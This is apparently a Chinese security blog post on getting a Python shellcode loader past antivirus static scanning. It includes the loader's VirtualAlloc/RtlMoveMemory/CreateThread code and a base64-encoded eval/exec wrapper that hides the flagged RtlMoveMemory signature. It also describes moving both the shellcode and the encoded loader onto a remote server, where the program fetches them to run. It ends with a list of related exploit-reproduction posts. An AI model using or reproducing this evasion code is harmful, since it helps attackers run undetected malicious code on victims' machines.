杀软的静态扫描,基本是按照匹配特征码,根据哈希算法从病毒体中提取的病毒特征码,逐个与程序文件的md5比较。但是呢程序的内容只要稍微微改动一点,md5值就会改变所以杀软还有一种方法是通过模糊哈希算法 ,找出一段不会改变的程序作为特征码,匹配这段程序的就当木马病毒处理
这是网上python通用的shellcode loader这个加载器我先将shellcode进行hex和base64编码分离放在了服务器端,所以静态查杀只查loader部分
pyinstaller --noconsole --onefile test.py
我们将第一条语句留着,其他的全部删除,打包exe发现没有查杀
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
根据模糊哈希的意思呢,这个语句md5应该不会变,可这后面参数想咋变就咋变啊。。。
深入研究发现,特征码原来在前面,只要有RltMoveMemory这段字符就会查杀所以确定RltMoveMemory这段字符就是特征码有两种思路,一是换一个可以达到相同效果的函数,但我没找到,RltCopyMemory也会被查杀将上面语句base64转码,eval运行解码的语句string = '''Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX2ludChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQ=='''
eval(base64.b64decode(string))
既然shellcode能放在服务器上,那我们的loader
是否也可以尝试一下。。
换成exec函数,可以将Python代码用分号;连接起来运行
a = '''ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64;ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40));buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode);ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),buf,ctypes.c_int(len(shellcode)));handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)));ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))'''
exec(a)
进行base64编码,放在我的服务器2.txt文件中【往期推荐】
【内网渗透】内网信息收集命令汇总
【内网渗透】域内信息收集命令汇总
【超详细 | Python】CS免杀-Shellcode Loader原理(python)
【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现
【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现
记一次HW实战笔记 | 艰难的提权爬坑
【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】
【超详细】Fastjson1.2.24反序列化漏洞复现
走过路过的大佬们留个关注再走呗

往期文章有彩蛋哦
